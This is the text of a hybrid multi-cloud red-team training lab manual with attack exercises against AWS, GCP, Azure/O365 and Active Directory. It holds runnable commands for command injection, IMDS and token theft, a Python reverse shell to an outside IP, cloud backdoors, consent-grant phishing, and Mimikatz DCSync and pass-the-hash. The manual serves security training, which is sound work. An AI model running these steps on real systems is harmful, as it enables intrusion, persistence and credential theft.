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HYBRID MULTI CLOUD RED TEAM
SECTION - B : ATTACKS IN HYBRID MULTI CLOUD ENVIRONMENT
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Module 1 :  Attacking AWS Cloud Environment  

● Initial Access by exploiting public facing app

● Persistence by Cross Account Backdoor 

● Privilege Escalation by Excessive IAM Permission 

● Credential Hunting from Snapshots 

● Breaching the Boundary of Virtual Private Cloud

Module 2 : Attacking Google Cloud / Workspace  

● Initial access by Leaked Service Account Key 

● Persistence Access by Service Account Secondary Key

● Privilege escalation by Compromised Editor Default Permission  

● Privilege Escalation & Credential extraction by Exploiting GKE 

● Cross Project Lateral Movement

Module 3 :  Attacking Azure Cloud / Office 365 

● Initial Access by Illicit Consent Grant Attack 

● Persistence by Service Principal App Role Permission 

● Privilege Escalation by Exploiting Azure Automation Accounts. 

● Credentia Hunting from Azure Key Vault 

● Lateral Movement using Azure MDM Solution 

  Module 4 : Attacking Active Directory Environment 

● On-Premise Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay

● Active Directory Persistence by Golden Key Attack

● Privilege Escalation by abusing ACLs 

● Credential Access from Domain Controller & Workstations 

● Lateral Movement from On-Premise to Cloud 
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Module 1 :  Attacking AWS Cloud Environment   

Exercises : 

• Initial Access by exploiting public facing app

• Persistence by Cross Account Backdoor 

• Privilege Escalation by Excessive IAM Permission 

• Credential Hunting from Snapshots 

• Breaching the Boundary of Virtual Private Cloud

• Defence Evasion by Cloud Logging Disruptions
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EXERCISE : AWS - 1

Initial Access by Exploiting Public Facing APP
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ATTACK :  Initial Access by Exploiting Public Facing Application Running on EC2 Instance 
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Step 1 : Enumerate the URL of public facing application and Exploit the existing vulnerability. 

http://app.atomic-nuclear.site/service.php?cmd=hostname

http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/
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Step 2 : Retrieve Metadata from IMDS Service.  

http://app.atomic-nuclear.site/service.php?cmd=curl http://169.254.169.254/latest/meta-data/

http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/
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Step 3 : Retrieve IAM Temporary Credential form IMDS Endpoint.   

http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadO

nlyAccess 

http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadOnlyAccess
http://app.atomic-nuclear.site/service.php?cmd=curl%20http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2ReadOnlyAccess
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Step 4 : Setting up IAM Temporary Credential  in The Environment Variables. 

export AWS_ACCESS_KEY_ID=

export AWS_SECRET_ACCESS_KEY=

export AWS_SESSION_TOKEN=
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Step 5 : Verify the IAM Temporary Credential Identity.   

aws sts get-caller-identity
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Step 6 : Get the information about specified role. 

aws iam get-role --role-name EC2ReadOnlyAccess
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Step 7 : List of Inline policies  embedded to the specified role.  

aws iam list-role-policies --role-name EC2ReadOnlyAccess

Step 8 : List of managed policies attached to the specified role. 

aws iam list-attached-role-policies --role-name EC2ReadOnlyAccess
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Step 9 : List of permissions in the specified policy.  

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --version-id v1
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Step 10 : Enumerating list of permission assigned to a role using automated scripts.  

python3 weirdAAL.py -m recon_all -t MyVictim 
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EXERCISE : AWS - 2

Persistence by Cross Account Backdoor
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Step 1 : Get the identity of the attacker  - Attacker 

aws sts get-caller-identity --profile persistence-user

Step 2 : List of attached policies to the attacker account.  - Attacker 

aws iam list-attached-user-policies --user-name persistence-user --profile persistance-user
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Step 3 : Get the permissions assign to the attached policy of the attacker account.  - Attacker

aws iam get-policy-version --policy-arn arn:aws:iam::999909936336:policy/assume-policy --version-id v1 --profile persistence-use
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Step 4 :login to the victim account and add the backdoor of attacker account .  - Victim

aws iam get-policy-version --policy-arn arn:aws:iam::999909936336:policy/assume-policy --version-id v1 --profile persistence-use
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Step 4 : Retrieve the temporary access token of victim aws account by assume backdoor role.  - Attacker

aws sts assume-role --role-arn "arn:aws:iam::294170659659:role/AssumeRole-Persistence" --role-session-name AWSCLI-Session --profile 
persistence-user
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Step 5 : Configure separate terminal for AWS CLI with temporary access token of the victim aws account   

export AWS_ACCESS_KEY_ID=

export AWS_SECRET_ACCESS_KEY=

export AWS_SESSION_TOKEN= 

Step 6 : Get the identity of the current configured access token  

aws sts get-caller-identity
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Step 7 : List of policies attached to the backdoored role. 

aws iam list-attached-role-policies --role-name AssumeRole-Persistence
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Step 8 : Get the permissions assigned to the policy of the backdoored role. 

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1  
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EXERCISE : AWS - 3

Privilege Escalation by Excessive IAM Permission
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Step 1 : Exploit Vulnerable Lambda Function and Retrieve Temporary Access Token 

https://uaqo1yihi2.execute-api.us-east-2.amazonaws.com/default/Prod-Serverless-Func?cmd=env 

https://uaqo1yihi2.execute-api.us-east-2.amazonaws.com/default/Prod-Serverless-Func?cmd=env
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Step 2 : Configure Temporary Access Token with AWS CLI 

export AWS_ACCESS_KEY_ID=

export AWS_SECRET_ACCESS_KEY=

export AWS_SESSION_TOKEN=
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Step 3 : Retrieve the identity of the configured aws token  

aws sts get-caller-identity
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Step 4 : Get the information about specified role attached to the vulnerable lambda function 

aws iam get-role --role-name Lambda-FullAccessRole 
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Step 5 : List of managed policies attached to the lambda function role. 

aws iam list-attached-role-policies --role-name Lambda-FullAccessRole
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Step 6 : Retrieve the list of  permissions defined in the specified managed policy  

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AWSLambda_FullAccess --version-id v1 
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Step 7 : List of inline policies embedded into lambda function role. 

aws iam list-role-policies --role-name Lambda-FullAccessRole
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Step 8 : Retrieve the list of  permissions defined in the specified inline policy   

aws iam get-role-policy --policy-name Lambda-Additional-inline-policy --role-name Lambda-FullAccessRole
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Step 9 : List of iam roles in aws account.  

aws iam list-roles 
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Step 10 : Configure a malicious lambda function which can steal access token from metadata.  
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Step 11 : Create a new lambda function with malicious code and attach high privilege role to it.  

aws lambda create-function --function-name my-function  --runtime python3.7  

--zip-file fileb://my-function.zip  --handler lambda_function.lambda_handler 

 --role arn:aws:iam::294170659659:role/Admin-role-for-lambda-func  --region us-east-2
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Step 12 : Now invoke the newly created lambda function with exploit code and retrieve temporary access token  

aws lambda invoke --function-name "my-function" --log-type Tail output.txt --region us-east-2
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Step 13 : Configure aws cli with retrieved temporary access token.  

export AWS_ACCESS_KEY_ID=

export AWS_SECRET_ACCESS_KEY=

export AWS_SESSION_TOKEN= 

Step 14 : Configure aws cli with retrieved temporary access token.  

aws sts get-caller-identity
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Step 15 :  Get the information about specified role attached to the vulnerable lambda function  

aws iam list-attached-role-policies --role-name Admin-role-for-lambda-func
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EXERCISE : AWS - 4

Credential Hunting from Snapshots 
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Step 1 : Configure AWS cli with compromised user credential.    

aws configure --profile ca 

Step 2 : Get the information about configured user in aws cli.   

aws sts get-caller-identity --profile ca
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Step 3 : Get the information about attached policy to the specified user.    

aws iam list-attached-user-policies --user-name ec2-admin --profile ca

Step 4 : Describe the information about all ec2 instances in a specified region .    

aws ec2 describe-instances --profile ca --region us-east-2
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Step 5 : Describe the information about all the volumes available in a specified region .    

aws ec2 describe-volumes --profile ca --region us-east-2



49

Step 6 : Create a snapshot from existing volume attached to ec2 instance.    

aws ec2 create-snapshot --volume-id vol-0d74d096582ec0161 --description "RedTeam-Snap" --profile ca --region us-east-2
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Step 7 : Describe the information about all the self created snapshots available in a specified region .    

aws ec2 describe-snapshots --profile ca --region us-east-2 --owner-ids self
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Step 8 : Start an new ec2 instance in the same region.     

aws ec2 create-volume --snapshot-id snap-0d6a4958f7d770f42 --profile ca --availability-zone us-east-2b --region us-east-2
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Step 9 : Describe the information about all the volumes available in a specified region .    

aws ec2 describe-volumes --profile ca --region us-east-2
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Step 10 : Attach newly created volume from snapshot to attacker ec2 instance .    

aws ec2 attach-volume --volume-id vol-0db7bb389677012fc --instance-id i-0e941cf18c639f0a7 --device /dev/sdf --profile ca 

--region us-east-2
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Step 11 : Retrieve ec2 instance window password using ssh private key .    

aws ec2 get-password-data --instance-id  i-0e941cf18c639f0a7 --priv-launch-key CHMRTS-AWS-SSH-Key.pem --profile ca 

--region us-east-2 
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Step 12 : Login to attacker newly created windows ec2 instance .    
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Step 13 : Now, Mount newly attached volume [D:/] to  attacker window machine .    
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Step 14 : Exfiltrate the sensitive data stored in new mounted volume .    



60

Step 15 : Also, use DSInternals utility  to retrieve the victim Domain Controller hashes .    

Tool : https://github.com/MichaelGrafnetter/DSInternals 

https://github.com/MichaelGrafnetter/DSInternals
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EXERCISE : AWS - 5

Breaching the Boundary of Virtual Private Cloud
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Step 1 : Configured aws cli with compromised read only user credential.     

aws sts get-caller-identity --profile ro
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Step 2: Retrieve the information about virtual network in a specified vpc.     

aws ec2 describe-vpcs --profile ro --region us-east-2
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Step 3 : Get the information about subnets details in a specified [public vpc].    

aws ec2 describe-subnets --profile ro --region us-east-2 --filters "Name=vpcId,Values=vpc-09e9c5a3ae54a7368"
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Step 4 : Get the information about subnets details in a specified vpc [private vpc].    

aws ec2 describe-subnets --profile ro --region us-east-2 --filters "Name=vpcId,Values=vpc-0ff26aff3bef1d50b"
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Step 5 : Get the information about routing table associated to the specified subnet [public subnet-public vpc] .    

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters 

"Name=association.subnet-id,Values=subnet-0987ecf31f72617cc" 
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Step 6 : Get the information about routing table associated to the specified subnet [public subnet-private vpc] .    

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters 

"Name=association.subnet-id,Values=subnet-070402cb26342bc7d" 
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Step 7 : Get the information about routing table associated to the specified subnet [public subnet-private vpc] .    

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters 

"Name=association.subnet-id,Values=subnet-070402cb26342bc7d" 
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Step 8 : Get the information about vpc peering connection.     

aws ec2 describe-vpc-peering-connections --profile ro --region us-east-2  
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Step 9 : Get the information about all the instances in a specific aws region.    

aws ec2 describe-instances --profile ro --region us-east-2 
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Step 10 : First authenticate to publicly accessible ec2 instance [public subnet -public vpc] with leaked ssh key or exploiting 

vulnerability.     

ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@18.116.165.204
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Step 11 : Now we can access another ec2 instance [public subnet - private vpc] from our first compromised instance .    

ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.1.31
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Step 12 : finally we can access private ec2 instance [private subnet - private subnet] from our second compromised instance [public subnet - private vpc].    

ssh -i CHMRTS-AWS-SSH-Key.pem ec2-user@192.168.2.148 



Module 2 :  Attacking Google Cloud Environment   
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Exercises : 

• Initial access by Leaked Service Account Key 

• Persistence Access by Service Account Secondary Key

• Privilege escalation by Compromised Editor Default Permission  

• Privilege Escalation & Credential extraction by Exploiting GKE 

• Cross Project Lateral Movement
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EXERCISE : GCP - 1

Initial access by Leaked Service Account Key 
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Step 1 : Enumerating leaked credentials  on github repositories.   

gitleaks --repo-url=https://github.com/atomic-nuclear/production -v
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Step 2 : Content of downloaded leaked credentials using gitleake utility.  
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Step 3 : Configure gcloud cli with leaked service account credential.   

gcloud auth activate-service-account --key-file leaked-key.json

Step 4 : List of active account in gcloud cli. 

gcloud auth list
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Step 5 : List of projects in a gcp organization.  

gcloud projects list

Step 6 : IAM Policy for a gcp project.  

gcloud projects get-iam-policy production-proj-325612
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Step 5 : Configure gcloud cli with project option.  

gcloud config project production-proj-325612

Step 5 : List of service accounts in gcp project.  

gcloud iam service-accounts list
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Step 5 : Authenticated Enumeration using Automated Script.  

./gcp_enum.sh
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EXERCISE : GCP - 2

Persistence Access by Service Account Secondary Key 
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Step 1 : Authenticate to google cloud using compromised credential with gcloud cli.  

gcloud auth login 

Step 2 : List of active accounts in gcloud cli.  

gcloud auth login 
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Step 3 : Get the information about list of organization.  

gcloud organizations list

Step 4 :  List of service account in a gcp project. 

gcloud iam service-accounts list

Step 5 :  List of keys associated with the specified service account. 

gcloud iam service-accounts keys list --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com

mailto:prod-srv@production-proj-325612.iam.gserviceaccount.com
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Step 6 : Create a new key for specified service account.  

gcloud iam service-accounts keys create SVC-Key --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com  

Step 7 :  Again, List of keys associated with the specified service account. 

gcloud iam service-accounts keys list --iam-account prod-srv@production-proj-325612.iam.gserviceaccount.com

mailto:prod-srv@production-proj-325612.iam.gserviceaccount.com
mailto:prod-srv@production-proj-325612.iam.gserviceaccount.com
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Step 8 : Create a policy document where specified service account have organization admin role.   
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Step 9 : Set the policy to organization level.  

gcloud organizations set-iam-policy 769569318697 Persistance-Admin-policy.yaml 
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Step 10 : Get the iam policy associated with  gcp organization level. 

gcloud organizations get-iam-policy 769569318697

Step 11 : Configure backdoored access key with gcloud cli. 

gcloud auth activate-service-account --key-file .\SVC-Key
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EXERCISE : GCP - 3

Privilege escalation by Compromised Editor Default Permission 
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Step 1 : Authenticate to Gcloud cli with compromised least privilege user credential.    

gcloud auth login 
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Step 2 : Get the information about all projects in an organization.    

gcloud projects list

Step 3 : Set the specified project with current configured credentials.     

gcloud config set project production-proj-325612
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Step 4 : Get the iam policy attached to the project level.    

gcloud projects get-iam-policy production-proj-325612
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Step 6 : Configure session token stealer cloud function in zip file.    

Step 5 : First enable cloud resource manager & cloud functions API on google project .    

● ggcloud services enable cloudresourcemanager.googleapis.com

● gcloud services enable cloudfunctions.googleapis.com

● cloudbuild.googleapis.com
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Step 7 : Now deploy cloud function by attaching high privilege service account to it .    

gcloud functions deploy privesc-fun --timeout 539 --trigger-http --allow-unauthenticated --source function-source --runtime python37 

--entry-point hello_world --service-account high-priv-sa@production-proj-325612.iam.gserviceaccount.com
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Step 8 : Add permission to new deployed cloud function as AllUsers have permissions Cloud Functions Invoker.   
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Step 9 : Invoke stealer cloud function and retrieve access token of attached high privilege service account..    

curl https://us-central1-production-proj-325612.cloudfunctions.net/privesc-fun

https://us-central1-production-proj-325612.cloudfunctions.net/privesc-fun
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Step 10 : Validate stolen access token.    

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken 

Step 11 : Access google cloud resources with high privileged service account stolen access token .    

curl -H "Authorization:Bearer AccessToken" https://Service.googleapis.com/ 

https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken
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EXERCISE : GCP - 4

Credential extraction by Exploiting GKE 
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Step 1 : Identify RCE in public facing application running in the docker container. .    

http://34.136.30.89/?cmd=uname%20-a 

http://34.136.30.89/?cmd=uname%20-a
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Step 2 : Exploit the public facing application running in the docker container by reverse shell.    

http://34.136.30.89/?cmd=python -c 'import 

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.144.223.115",2222)); 

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(subprocess.call(["/bin/sh","-i"]));' 

http://34.136.30.89/?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%223.144.223.115%22,2222));%20os.dup2
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Step 3 : Start listening on reverse shell port using nc utility on attacker machine.    

nc -nlvp 2222 
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Step 4 : Extract access token from metadata on compromised container.    

curl -H "Metadata-Flavor:Google" 

http://169.254.169.254/computeMetadata/v1/instance/service-accounts/547664270161-compute@developer.gserviceaccount.com/token
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Step 5 : Verifying stolen access token on attacker system.    

curl -H "Content-Type: application/x-www-form-urlencoded" -d 

"access_token=ya29.c.KpkBFAgahIZSgW-QNJ498SvFKkUPZQlr8AtuJT7gkOzgVmXCwsApR1gsDFtYNJIl6_Dk1ph1YEgQLe0yN7

MBxjGrxv3UB40Z0ioc5vDUUDTpfSCfhdowQ8evrf4meOexegpLYZdtNOKN5QfPYHrXUrba3pVUL98umHTF9dqAbGUvXdXDXOT

WrU0CZFi7i-J-DMX-vl2tXOWpdQd_" https://www.googleapis.com/oauth2/v1/tokeninfo

https://www.googleapis.com/oauth2/v1/tokeninfo
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Step 6 : Get the information about kubernetes service account.     

ls /var/run/secrets/kubernetes.io/serviceaccount/ 
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Step 7 : Get the content of the service account certificate. .    

cat ca.crt 
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Step 8 : Download kubectl binary from remote machine to compromised pod.    

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

https://dl.k8s.io/release/stable.txt
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Step 9 : Use kubectl utility within compromised pod to authenticate to kubernetes control plane .    

./kubectl get pods

Step 10 : Use kubernetes service account credential to authentication to control plane using kubernetes api.    

curl --cacert ca.crt -H "Authorization: Bearer ${cat token}" https://kubernetes.default/api/v1/pod/namespaces/${cat namespace}   
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EXERCISE : GCP - 5

Cross Project Lateral Movement 
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Step 1 : Authenticate to Gcloud cli with compromised user credential.    

gcloud auth login emp01@atomic-nuclear.site 

Step 2 : Retrieve the project id and configure to gcloud cli .    

gcloud projects list

gcloud config set project staging-project-329312 
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Step 3 : Get the get policy attached to gcp project.    

gcloud projects get-iam-policy staging-project-329312  
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Step 4 : Create a new key for service account “SA1”.    

gcloud iam service-accounts keys create /tmp/SA1-Key.json --iam-account 

sa1-164@staging-project-329312.iam.gserviceaccount.com 

Step 5 : Now, activate service account with newly created service account key.    

gcloud auth activate-service-account --key-file=/tmp/SA1-Key.json

mailto:sa1-164@staging-project-329312.iam.gserviceaccount.com
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Step 6 : List of all active account in gcloud cli.    

gcloud auth list 
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Step 7 : List of all projects, which are accessible by newly authenticate service account.    

gcloud projects list
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Step 8 : Get the get policy attached to gcp project.    

gcloud projects get-iam-policy staging-project-329312  
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Step 9 : Create a new key for service account “SA2”.     

gcloud iam service-accounts keys create /tmp/SA2-Key.json --iam-account 

sa2-76@staging-project-329312.iam.gserviceaccount.com  

Step 10 : Now, activate service account with newly created service account key [SA2].    

gcloud auth activate-service-account --key-file=/tmp/SA2-Key.json
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Step 11 : List of all active account in gcloud cli.    

gcloud auth list 
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Step 12 : List of all projects, which are accessible by newly authenticate service account.    

gcloud projects list
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Step 13 : Get the get policy attached to gcp project.    

gcloud projects get-iam-policy staging-project-329312  



Module 3 :  Attacking Azure Cloud Environment   
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Exercises : 

• Initial Access by Illicit Consent Grant Attack 

• Persistence by Service Principal App Role Permission 

• Privilege Escalation by Exploiting Azure Automation Accounts. 

• Credentia Hunting from Azure Key Vault 

• Lateral Movement using Azure MDM Solution 

• Azure AD Connect Compromising 

• Office 365 [ O365 ] Hijacking 

• Defence Evasion by Defender for Cloud Downgrade 
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EXERCISE : Azure - 1

Initial Access by Illicit Consent Grant Attack 
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Initial Access by Illicit Consent Grant Attack [Phishing]  
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1- Register multi
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2- Configure Azure 
App with phishing 
Application

3- Send phishing App
link to victim

4- Victim grant 
permission to 
attacker application

5- Attacker app can access victim
Azure tenant information
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Step 1 : Illicit Consent Grant Attack Infrastup Setup -  



140

Step 2 : Access Azure AD Portal and Register an application. 

https://portal.azure.com 

https://portal.azure.com


141

Step 3 : Create Secret of the Registered Application.   
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Step 4 : Full Information about Registered Application. 
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Step 5 : O365 Phishing Toolkit Configuration. 
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Step 6 : Start O365 Phishing Server and Serve Phishing Content   

./o365-attack-toolkit

Step 7 : Capture Stolen User Access Token and Access User Resource with Stolen Access Token  

http://127.0.0.1:4444



145

EXERCISE : Azure - 2

Persistence by Service Principal App Role Permission  
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Step 2 : Get the information about current logged In session. 

Get-AzureADCurrentSessionInfo
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Step 1 : Authenticate to Azure AD using compromised Credential. 

Connect-AzureAD
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Step 3 : Get the information about Azure AD Directory Roles.  

Get-AzureADDirectoryRole

Step 4 : List of members of a specified azure ad role.  

Get-AzureADDirectoryRoleMember -ObjectId 664f8b57-19df-4893-91f2-6657c3d27b5
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Step 5 : Create / Register a new azure ad application in the victim tenant using compromised credential.  
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Step 6 : Add a secret to newly created azure ad application and retrieve the secret value.  
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Step 7 : Grant Admin Consent to application of the victim azure ad directory. 
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Step 8 : Admin Consent Granted on azure ad tenant / directory level.  
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Step 9 : List of application permission assigned to azure ad app with admin consent.  
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Step 10 : Get the Application ID of registered backdoor app.  

Get-AzureADApplication -SearchString Persistence-APP1

Step 11 : Retrieve Access Token from MS OAuth Endpoint with app id & secret.  

n$tenantId = “143198c4-77be-42f7-b18e-95c5b693e6b9”

$appClientId=”e76de604-7529-41dd-b4b4-9a4d69d1ab0c” 

$clientSecret = “T+L8LqbE8UWEBI+l4xyJIGlHiI+wXW/oxNqGF6LMVxw=”

$requestBody = 

@{client_id=$appClientId;client_secret=$clientSecret;grant_type="client_credentials";scope="https://graph.microsoft.com/.default";}

$oauthResponse = Invoke-RestMethod -Method Post -Uri https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token -Body 

$requestBody

$accessToken = $oauthResponse.access_token
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Step 12 : Authenticate to Microsoft Graph API using access token. 

$apiUrl = "https://graph.microsoft.com/v1.0/users"

$users = Invoke-RestMethod -Headers @{Authorization = "Bearer $accessToken"} -Uri $apiUrl -Method Get

https://graph.microsoft.com/v1.0/users


157

EXERCISE : Azure - 3

Privilege Escalation by Exploiting Azure Automation Accounts 
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Step 1 : Logged in as least privilege user.  

Login-AzAccount 

Step 2 : Get the current logged in user subscription.  

Get-AzSubscription
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Step 3 : Get the role assignment on subscription level.   

Get-AzRoleAssignment
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Step 4 : Get the information about automation account.    

Get-AzAutomationAccount
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Step 5 : List of Run Books in an automation account.    

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG 
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Step 6 : Get the information about Certificate, Credential & Connections in automation account.     

Get-AzAutomationCertificate, Get-AzAutomationCredential,  Get-AzAutomationConnection



164

Step 7 : Runbook which contains Privilege Escalation code.    

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG 
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Step 8 : Import Malicious Runbook [Which contains privilege escalation code] into automation account.   

Import-AzAutomationRunbook -ResourceGroupName CHMRTS-Prod-RG -AutomationAccountName Prod-AA -Path 

PrivEsc-Runbook.ps1 -Type PowerShell -Name PriveEsc-Runbook 
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Step 9 : Again, List of All Run Books in an automation account.    

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG 
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Step 10 : Now Publish Imported Malicious Runbook.    

Publish-AzAutomationRunbook -AutomationAccountName Prod-AA -Name PriveEsc-Runbook -ResourceGroupName 

CHMRTS-Prod-RG 
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Step 11 : Start automation account’s runbook job.    

$job = Start-AzAutomationRunbook -AutomationAccountName Prod-AA -Name PriveEsc-Runbook -ResourceGroupName 

CHMRTS-Prod-RG 

Step 12 : View the output of the executed malicious runbook code for privilege escalation.    

$output = Get-AzAutomationJobOutput -AutomationAccountName Prod-AA -Id $job.JobId -ResourceGroupName 

CHMRTS-Prod-RG -Stream output | Get-AzAutomationJobOutputRecord 
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EXERCISE : Azure - 4

Credential Hunting from Azure Key Vault 
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AZ CLI

Service
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Step 1 : Login to Az module with compromised service principal credential    

$cred = Get-Credential

Login-AzAccount -ServicePrincipal -Subscription 3c975794-9afd-498e-9f3b-719c322817b0  -Tenant 

143198c4-77be-42f7-b18e-95c5b693e6b9  -Credential $cred 

Step 2 : Get the information about current logged in subscription.    

Get-AzSubscription 
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Step 3 : Get the information about the resource group in current subscription.    

Get-AzResourceGroup 

Step 4 : Get the information about the Azure Key Vault in resource group of the current subscription .    

Get-AzKeyVault 

Step 5 : Extract the plain text value of the secret stored in azure key vault.    

Get-AzKeyVaultSecret -VaultName 'prod-test-key-vault' -Name 'Prod-Credential' -AsPlainText 
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EXERCISE : Azure - 5

Lateral Movement using Azure MDM Solution 
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Step 1 : Authenticate to Endpoint Manager Admin Center with compromised Intune Admin / 0365 Admin / Global 

Administrator.    

https://endpoint.microsoft.com/ 

https://endpoint.microsoft.com/
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Step 2 : First start listener on attacker machine for reverse shell.    

nc -nvlp 9999



178

Step 3 : Create a powershell script which contains reverse shell code .    
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Step 4 : Now, add malicious powershell script on intune portal to execute on all the devices.    

https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/PowershellScriptsWizard    

https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/PowershellScriptsWizard
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Step 5 : View all powerscripts which will be execute on intune managed devices   .    

https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/DevicesMenu/powershell  

https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/DevicesMenu/powershell
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Step 6 : Malicious code executed on hybrid joined device [On-Premise] and we got reverse shell on attacker machine.    
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Step 7 : Get the information about compromised on-premise system.    

systeminfo 



Module 4 :  Attacking Active Directory Environment   

183

Exercises : 

• On-Premise Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay

• Active Directory Persistence by Golden Key Attack

• Privilege Escalation by abusing ACLs 

• Credential Access from Domain Controller and Workstation

• Lateral Movement from On-Premise to Cloud
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EXERCISE : AD - 1

Initial Access by LLMNR/NBT-NS Poisoning and SMB Relay
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Initial Access by Stealing Domain User Credential [Spoofing]  
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Step 1 : Start Responder on Eth0 Interface for Spoofing Attack.   

python Responder.py -I  eth0
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Step 2 : Setting UP NTLM Relay Tool for Captured NetNTLM Hash to Target host for authentication   

ntlmrelayx.py -t Target-Host -c Command
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Step 3 : User Trying to Access Unknown Host by Mistake.   

\\unknownhost
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Step 4 : Responder started LLMNR Poisoning Attack.  
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Step 5 : Captured NetNTLM Hash is Used to authentication to Target host by ntlm relay tool.    

ntlmrelayx.py -t Target-Host -c Command
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EXERCISE : AD - 2

Active Directory Persistence by Golden Key Attack



Least Privilege
User A
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Step 1 : Import Powerview utility and get the information about ACLs on domain level belong to a compromised user .    

. .\PowerView_dev.ps1

whoami /user
Get-ObjectAcl -Identity "DC=atomic-nuclear,DC=site" -ResolveGUIDs | ?{$_.SecurityIdentifier -match 

'S-1-5-21-2014351116-3273711534-731752147-1112'}
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Step 2 : Invoke Mimikatz to sync administrator hash from DC using dcsync rights.    

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"lsadump::dcsync /user:atomic-nuclear\administrator"'
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Step 3 : Now, Use mimikatz to authenticate as domain admin with compromised administrator’s hash.  

Invoke-Mimikatz -Command ‘“sekurlsa::pth /user:administrator /ntlm:4346d4e5298397a9c6830b9fce7c9d7a 

/domain:atomic-nuclear.site”’
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Step 4 : Least privilege user can access domain administrator directory.  

dir \\dc01.atomic-nuclear.site\c$
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EXERCISE : AD - 3

Persistence by abusing ACLs
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Step 3 : Extract “krbtgt” hash using mimikatz:

lsadump::dcsync /user:atomic-nuclear\krbtgt
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Step 1 : Import “Powerview” utility and provide “FULL” rights on the domain with DA privileges.  

. .\PowerView_dev.ps1

whoami /user
Add-ObjectAcl -Identity "DC=atomic-nuclear,DC=site" -PrincipalSamAccountname emp01 -Rights All -verbose

Step 2 : Provide “DCYSNC” rights on the domain with DA privileges.  

Add-ObjectAcl -Identity "DC=atomic-nuclear,DC=site" -PrincipalSamAccountname emp01 -Rights DCSync -verbose
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EXERCISE : AD - 4

Credential Access from Domain Controller & Workstations 



Attacker

Domain
controller

Workstation
(Domain joined)

Workstation
Connected to
DC

1a.  Compromise DC as Domain Admin or Local Admin

2a.  Compromise Workstation as Local Admin

2b. Dump Credential From 
SAM & LSASS Memory

2c.  Exfiltrate Stolen Credential from Workstation to Attacker 
System Active Directory Environment

1c.  Exfiltrate Stolen Credential from DC to Attacker System 

1b.  Dump Credential From 

Ntds.dit & LSASS Memory
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Step 1 : Check the user privileges on compromised workstation.

whoami
net user emp01 /domain
net localgroup administrators 
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Step 2 : Download Mimikatz powershell script on the compromised system.    

dir
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Step 3 : Import Mimikatz in memory and Invoke it for dumping the credential from LSASS Memory. [Local Admin Permission Required]    

Import-Module .\Invoke-Mimikatz.ps1 

Invoke-Mimikatz 
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EXERCISE : AD - 5

Lateral Movement On-Premise to Cloud
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Step 1 : First dump the Azure AD SSO computer account hash using dcsync or any other method.    

lsadump::dcsync /domain:atomic-nuclear.site /user:AZUREADSSOACC$ 
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Step 2 : Authenticate as a domain user [emp01] .    

whoami 

net user emp01 /domain
net localgroup administrator  
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Step 3 : Install and Import AADInternal tool.    

Install-Module AADInternals

Import-Module AADInternals 

Step 4 : Creating Kerberos tickets of any synced ad user [emp02]] with azure ad.    

$kerberos=New-AADIntKerberosTicket -SidString "Impersonated User SID" -Hash "AzureADSSOACC$ 

Compute Account Hash" 
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Step 5 : Get azure ad graph access token of impersonated user [emp02] .    

$at=Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain atomic-nuclear.site 

-SaveToCache 

Step 6 : Get the impersonated user in cache.    

Get-AADIntCache 
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Step 7 : Authenticate to the azure ad with impersonate user.     

Get-AADIntUsers -AccessToken $at 



Thank you for being a part of the training

For any queries / doubts please email support@cyberwarfare.live

Follow us on :
• LinkedIn: https://www.linkedin.com/company/cyberwarfare/ 
• Twitter: https://twitter.com/cyberwarfarelab
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https://www.linkedin.com/company/cyberwarfare/
https://twitter.com/cyberwarfarelab

